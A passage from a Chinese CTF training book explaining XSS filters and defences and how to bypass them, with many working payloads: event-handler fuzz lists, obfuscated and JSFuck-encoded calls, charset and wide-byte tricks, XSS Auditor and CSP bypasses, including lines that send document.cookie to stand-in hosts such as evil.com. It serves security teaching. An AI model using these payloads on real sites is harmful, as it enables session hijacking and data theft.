CTF特训营:技术详解、解题方法与竞赛技巧
上QQ阅读APP看书,第一时间看更新

3.3 防护与绕过

鉴于各网站被挖掘出的XSS漏洞数量之多,开发者对其的重视程度也随之增大。Web应用层处理XSS漏洞的办法有很多,比如,特定标签过滤、事件过滤、敏感关键字过滤等,同时浏览器也会对XSS漏洞的利用进行限制(XSS Auditor、CSP等),本节将对常见的防护技术进行介绍并提出相应的绕过方案。

1.特定标签过滤

部分开发者认为过滤掉危险标签(如script、iframe等)就会导致无法执行脚本,但其实任何一种标签,无论是否合法,都可以构造出XSS代码,比如如下代码:


<not_real_tag onclick="alert(/xss/)">click me</not_real_tag>

这段代码在用户点击时也会执行XSS代码。

如果输出点在HTML标签的属性中或在Javascript代码中,那么攻击者可以简单地闭合、拼接属性或Javascript代码而不需要引入任何新标签就可以执行XSS代码。

同时,HTML5也带来了部分新标签,容易被开发者忽略,如video标签:


<video><source onerror="alert(/xss/)">

这里推荐HTML5 Security Cheatsheet:http://html5sec.org/,其中包含了许多XSS攻击向量以供学习和参考。

2.事件过滤

很多时候,开发者会过滤掉许多HTML标签的事件属性,这时需要对所有可利用的事件属性进行遍历,测试一下开发者是否有所遗漏。常用的事件属性如下,测试时可使用Burp或自行编写脚本进行Fuzz:


onafterprint                oninput                           onscroll
onbeforeprint                oninvalid                        onabort
onbeforeunload               onreset                          oncanplay
onerror                      onselect                         oncanplaythrough
onhaschange                  onsubmit                         ondurationchange
onload                       onkeydown                        onemptied
onmessage                    onkeypress                       onended
onoffline                    onkeyup                          onerror
ononline                     onclick                          onloadeddata
onpagehide                   ondblclick                       onloadedmetadata
onpageshow                   ondrag                           onloadstart
onpopstate                   ondragend                        onpause
onredo                       ondragenter                      onplay
onresize                     ondragleave                      onplaying
onstorage                    ondragover                       onprogress
onundo                       ondragstart                      onratechange
onunload                     ondrop                           onreadystatechange
onblur                       onmousedown                      onseeked
onchange                     onmousemove                      onseeking
oncontextmenu                onmouseout                       onstalled
onfocus                      onmouseover                      onsuspend
onformchange                 onmouseup                        ontimeupdate
onforminput                  onmousewheel                     onvolumechange

另外,还有一些标签属性本身不属于事件属性,但可用于执行JavaScript代码,比如常见的JavaScript伪协议:


<a href="javascript:alert(/xss/)">click me</a>

同时,HTML5也带来了一些新的属性,可以用于对事件过滤进行绕过操作,例如:


1. <details open ontoggle="alert(/xss/)">
2. <form><button formaction="javascript:alert(/x/)">X</button>
...

3.敏感关键字(字符)过滤

关键字过滤大部分是针对敏感变量或函数而进行的,如cookie、eval等,这部分的过滤可通过字符串拼接、编码解码等方法进行绕过。

(1)字符串拼接与混淆

JavaScript中的对象方法可通过数组的方式进行调用,如调用alert函数,可以使用如下方式:


window['alert'](/xss/);

可以看到,数组下标是想要调用函数名字的字符串,既然是字符串,那么自然就可以通过拼接的方式进行混淆,代码如下:


window['al'+'ert'](/xss/)

我们还可以使用JavaScript自带的Base64编码解码函数来实现字符串过滤的绕过,btoa函数可以将字符串编码为Base64字符串,atob函数可以将Base64字符串还原,比如,btoa("alert")会返回“YWxlcnQ=”,这时利用如下代码也可实现与alert(/xss/)相同的效果:


window[atob("YWxl"+"cnQ=")](/xss/)

(2)编码解码

基于字符串的代码混淆不仅可以通过字符串拼接的方式来实现,还可以通过各种编码、解码来实现。XSS漏洞中常用的编码方式包括:

·HTML进制编码:十进制(&#97;)、十六进制(&#x61;)

·CSS进制编码:兼容HTML中的进制表现形式,十进制、十六进制(\61)

·Javascript进制编码:八进制(\141)、十六进制(\x61)、Unicode编码(\u61)、ASCII(String.fromCharCode(97))

·URL编码:%61

·JSFuck编码

这里值得一提的是JSFuck编码,它可以只使用“[]()!+”6个字符来编写Javascript程序,在某些场景下具有奇效。例如alert(1)可编码为:


[][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+([][[]]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[+!+[]]]]+([][[]]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]((![]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+[+!+[]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]])()

这里推荐使用编码工具XSSEE(https://evilcos.me/lab/xssee/),其包含了大量的编码方式,非常实用。

(3)location.*、window.name

既然开发者会对输入的敏感关键字进行过滤,那么可以将XSS代码放置于其他不被浏览器提交至服务端的部分,如location.*、window.name等处,location.*的构造如下:


http://example.com/xss.php?input=<input onfocus=outerHTML=decodeURI(location.hash)>#<img src=x onerror=alert(/xss/)>

window.name的构造页面如下:


<iframe src="http://example.com/xss.php?input=%3Cinput%20onfocus=location=window.name%3E" name="javascript:alert(/xss/)"></iframe>

利用location对象结合字符串编码可以绕过很多基于关键字的过滤。

也有一部分关键字过滤是针对敏感符号的过滤,如括号、空格、小数点等。

(4)过滤“.”

在JavaScript中,可以使用with关键字设置变量的作用域,利用此特性可以绕过对“.”的过滤,如:


with(document)alert(cookie);

(5)过滤“()”

在JavaScript中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对“()”的过滤,如:


window.onerror=alert; throw 1;

(6)过滤空格

在标签属性间可使用换行符0x09、0x10、0x12、0x13、0x0a等字符代替空格绕过过滤,如:


http://example.com/xss.php?input=<img%0asrc=x%0aonerror=alert(/xss/)>

在标签名称和第一个属性间也可以使用“/”代替空格,如:


<input/onfocus=alert(/xss/)>

(7)svg标签

svg内部的标签和语句遵循的规则是直接继承自xml而不是html,区别在于svg内部的script标签中可以允许存在一部分进制或编码后的字符(比如实体编码):


http://example.com/xss.php?input=1"><svg><script>alert%26%23x28;1%26%23x29</script></svg>

4.字符集编码导致的绕过

当字符集编码存在问题时常常会导致一些出乎意料的绕过,举例说明如下。

(1)古老的UTF-7与US-ASCII

在没有通过Content-Type或meta标签设置字符集时,如果IE的编码设置为自动检测,那么它会根据一些BOM字符来判断当前的字符集(现在已不适用),如:


<html>
<head><title>UTF-7</title></head>
<body>
    +ADw-script+AD4-alert(/xss/)+ADw-/script+AD4-
</body>
</html>

另外一种情况是,虽然IE没有勾选自动检测字符集的设置,但可以通过制作一个字符集为UTF-7的页面,并使用iframe标签来调用目标页面,利用字符集继承漏洞来实现字符集的设定,如:


<meta http-equiv='content-type' content='text/html;charset=UTF-7'>
<iframe src='http://example.com/xss.php?input=%2BADw-script%2BAD4-alert(/xss/)%2BADw-%2Fscript%2BAD4-'></iframe>

不过很遗憾,这种基于iframe的跨域字符集继承漏洞已经被修复,当前的情况是:继承的大前提是必须同域。

如果输出点是在title标签之内,meta标签之前,且字符集是由meta标签所指定的,那么仍可通过如下方式注入meta标签指定字符集来利用XSS漏洞,原型如下:


<html>
    <head>
        <title>{{ your input }}</title>
        <meta http-equiv="content-type" content="text/html;charset=UTF-8">
    </head>
</html>

在title标签中注入如下代码:


</title><meta charset="utf-7">+ADw-script+AD4-alert(/xss/)+ADw-/script+AD4-:

最终可以构造出:


<html>
    <head>
        <title></title><meta charset="utf-7">+ADw-script+AD4-alert(1)+ADw-/script+AD4-</title>
            <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    </head>
</html>

基于US-ASCII字符集的XSS漏洞与基于UTF-7的XSS漏洞很相似,代码如下:


<html>
    <head>
        <meta http-equiv="content-type" content="text/html;charset=us-ascii">
    </head>
    <body>
        シ script セ alert(1)シ/script セ
    </body>
</html>

(2)宽字节

考虑如下代码:


<html>
    <head>
        <title>XSS</title>
        <meta charset="gb2312">
    </head>
    <body>
        <script>
        var q="<?php echo str_replace('</','<\/',addslashes($_GET['input']));?>";
        </script>
    </body>
</html>

这段代码通过str_replace和addslashes对输入进行过滤,而这里可以使用宽字节进行绕过,Payload如下:


http://example.com/xss.php?input=%d5%22;alert(1);//

(3)一些特殊的字符

日本安全研究人员Masato kinugawa对浏览器字符集编码进行测试后发现,由于字符集的原因,在浏览器中会出现如下几种情况。

·特定的byte最后会变成特别的字符。

·特定的byte会破坏紧随其后的文字。

·特定的byte会被忽略。

这些特殊字符可用于绕过浏览器的XSS Auditor、制造基于字符编码的XSS漏洞等方面,如图3-4所示。

图3-4 特殊字符绕过

完整的测试结果在:http://l0.cm/encodings/

5.长度限制

部分输入点会限制输入字符的数量,这时就需要使XSS代码尽量短小精悍,可使用如下方式:

·window.name

·location.*

window.name和location.*都可以通过将代码放置在别处以减小输入点代码量,如:


<iframe src="http://example.com/xss.php?input=%3Cinput%20onfocus=eval(window.name)%3E" name="alert(/xss/)"></iframe>

·第三方库工厂函数

诸如jQuery等第三方JavaScript库大部分都会提供相应的工厂函数,如jQuery中的“$()”,它会自动构造标签,并且执行其中的代码:


<iframe src="http://example.com/xss.php?input=%3Cinput%20onfocus=$(window.name)%3E" name="<img src='x' onerror=alert(/xss/) />"/>

·注释

在一些环境下可以使用注释来绕过长度限制。具体操作是将XSS代码分为多个阶段,在每个阶段的代码前后添加注释符号,依次注入XSS代码,这样不同阶段的代码就可以组合到一起了,如下所示:


stage 1: <script>/*
stage 2: */alert(1)/*
stage 3: */</script>

6.HttpOnly绕过

HttpOnly是Cookie的一个安全属性,设置后则可以在XSS漏洞发生时避免JavaScript读取到Cookie,但即使设置了HttpOnly属性,也仍有方法获取到Cookie值。

(1)CVE-2012-0053

Apache服务器2.2.0-2.2.21版本存在一个漏洞CVE-2012-0053:攻击者可通过向网站植入超大的Cookie,令其HTTP头超过Apache的LimitRequestFieldSize(最大请求长度,4192字节),使得Apache返回400错误,状态页中包含了HttpOnly保护的Cookie。

源代码可参见:https://www.exploit-db.com/exploits/18442/

除了Apache,一些其他的Web服务器在使用者不了解其特性的情况下,也很容易出现HttpOnly保护的Cookie被爆出的情况,例如Squid等。

(2)PHPINFO页面

无论是否设置了HttpOnly属性,phpinfo()函数都会输出当前请求上下文的Cookie信息。如果目标网站存在PHPINFO页面,就可以通过XMLHttpRequest请求该页面获取Cookie信息。

(3)Flash/Java

安全团队seckb在2012年提出,通过Flash、Java的一些API可以获取到HttpOnly Cookie,这种情况可以归结为客户端的信息泄露,链接地址为:http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html

7.XSS Auditor绕过

反射型XSS漏洞作为一种最容易发现和挖掘的XSS漏洞,从被发现至今已经活跃了非常长的时间。但是由于浏览器的XSS Auditor的出现,使反射型XSS漏洞的作用被逐步弱化。XSS Auditor通过检查输入的内容,判断该内容是否在输出中出现。如果符合XSS Auditor的过滤条件,则会直接阻止脚本执行,如图3-5所示。

图3-5 Chrome浏览器的XSS Auditor防护

然而安全人员的研究表明,XSS Auditor同样可以被绕过。

·字符集编码导致的绕过。正如前文所言,在一定场景下,字符集编码可能会导致XSS过滤的绕过,在XSS Auditor中也是一样。

由于低版本Chrome浏览器对ISO-2022-JP等编码处理不当,在页面没有设置默认编码并使用这个日语字符集时,XSS Auditor检查的部分会向Payload添加0x0f字符,这样就可以绕过XSS Auditor。XSS代码如下:


<meta charset="ISO-2022-JP"><img src="#" onerror%1B28B=alert(1) />

这其实是利用了浏览器处理字符集时产生的漏洞,随着以后字符集的更新,这种漏洞仍然有可能出现。

·协议理解问题导致的绕过。协议理解问题也会导致Chrome浏览器的XSS Auditor被绕过,因为XSS Auditor在检查加载脚本的路径时有一个比较有趣的地方:如果加载的脚本在自身目录下,并且XSS的输出点在HTML属性中,那么XSS Auditor是不会对其进行拦截的。但是如果检测到了“//”这样的外部链接的话,就会触发Auditor,从而无法加载外部脚本。

结合XSS Auditor对HTTPS协议的错误理解,可以构造如下XSS代码绕过XSS Auditor:


http://example.com/xss.php?input=1"><link%20rel="import"%20href=https:evil.com/1.php

·CRLF导致的绕过。Chrome浏览器的XSS Auditor默认是开启的,但如果HTTP响应头中的X-XSS-Protection属性被设置为0,那么Chrome浏览器会关闭XSS Auditor。因此,如果在HTTP响应头中注入CRLF并在新一行中写入X-XSS-Protection:0,那么接下来的XSS代码将不再受到XSS Auditor的拦截。

8.内容安全策略(CSP)绕过

内容安全策略(CSP)是目前最主要的Web安全保护机制之一,这个功能可以有效地帮助开发者降低网站遭受XSS漏洞攻击的可能性。得益于CSP,开发者可以创建并强制部署一些安全管理规则,并规定网站可以获取或加载的内容。

内容安全策略以白名单的机制来管理网站要加载或执行的资源。在网页中,这样的策略是通过HTTP头信息或者meta标签来定义的。需要注意的是,虽然这个策略可以防止攻击者从外部网站跨域加载恶意代码,但是CSP并不能防止数据泄露。目前已经有很多安全研究人员提出了各种各样的技术来绕过内容安全策略,并利用该技术从目标网站中提取出所需数据。

(1)CSP配置错误

在实际场景中,常常会出现CSP策略配置错误的情形,错误场景列举如下。

·策略定义不全或未使用default-src来补全。

·script-src的源列表包含unsafe-inline(并且没有使用nonce或hash策略)或允许data伪协议。

·script-src或object-src源列表包含攻击者可控制的部分源地址(文件上传、JSON Hijacking、SOME攻击),或者包含不安全的库。

·源地址列表滥用通配符。

·…

在这些场景下很容易利用其错误配置对CSP进行绕过。例如,当包含unsafe-inline关键词但未使用nonce或hash策略时,可直接使用事件属性或script标签执行代码。

(2)unsafe-inline下的绕过

CSP策略如下:


default-src 'self';script-src 'self' 'unsafe-inline'

除script开启unsafe-inline模式之外,其余资源仅允许加载同域。此时可用的绕过方法有如下几种。

·DNS Prefetch。由于link标签最新的rel属性dns-prefetch尚未被加入CSP实现中,使用如下Payload即可发出一条DNS解析请求,在NS服务器下查看解析日志便可得到如下内容:


<link rel="dns-prefetch" href="[cookie].evil.com">

·location.href。大部分的网站跳转还是要依赖前端来进行,所以在CSP中是无法对location.href做出限制的,依此可以衍生出大量的绕过方式:


// bypass 1
<script>location='http://eval.com/cookie.php?cookie='+escape(document.cookie);</script>

// bypass 2
<script>
  var a=document.createElement("a");
  a.href='http://evil.com/cookie.php?cookie='+escape(document.cookie);
  document.body.appendChild(a);
  a.click();
</script>

// bypass 3
<meta http-equiv="refresh" content="1;url=http://evil.com/cookie.php?data=[cookie]">

(3)严苛规则script-src'self'下的绕过

CSP策略如下:


default-src 'self'; script-src 'self';

关闭unsafe-inline模式,所有资源仅允许加载同域。此时可使用如下绕过方法:重定向(302跳转)导致的绕过。

在W3C文档中,关于重定向的说明引用如下:

4.2.2.3.Paths and Redirects

To avoid leaking path information cross-origin(as discussed in Egor Homakov’s Using Content-Security-Policy for Evil),the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect.For example,given a page with an active policy of img-src example.com not-example.com/path:

Directly loadinghttps://not-example.com/not-pathwould fail,as it doesn’t match the policy.

Directly loadinghttps://example.com/redirectorwould pass,as it matches example.com.

Assuming thathttps://example.com/redirectordelivered a redirect response pointing tohttps://not-example.com/not-path,the load would succeed,as the initial URL matches example.com,and the redirect target matches not-example.com/path if we ignore its path component.

可以看出,如果将script-src设置为某个目录,通过该目录下的302跳转是可以绕过CSP读取到记载其他目录的资源的。

CSP策略如下:


default-src 'self'; script-src http://example.com/a/;

可使用下面的Payload进行攻击:


http://example.com/xss.php?input=<script src="http://example.com/a/redirect.php?url=http://example.com/b/evil.js"></script>

(4)CRLF导致的绕过

在HTTP响应头中注入[CRLF][CRLF],将CSP头部分割至HTTP响应体中,这样注入的XSS代码便不再受到CSP的影响。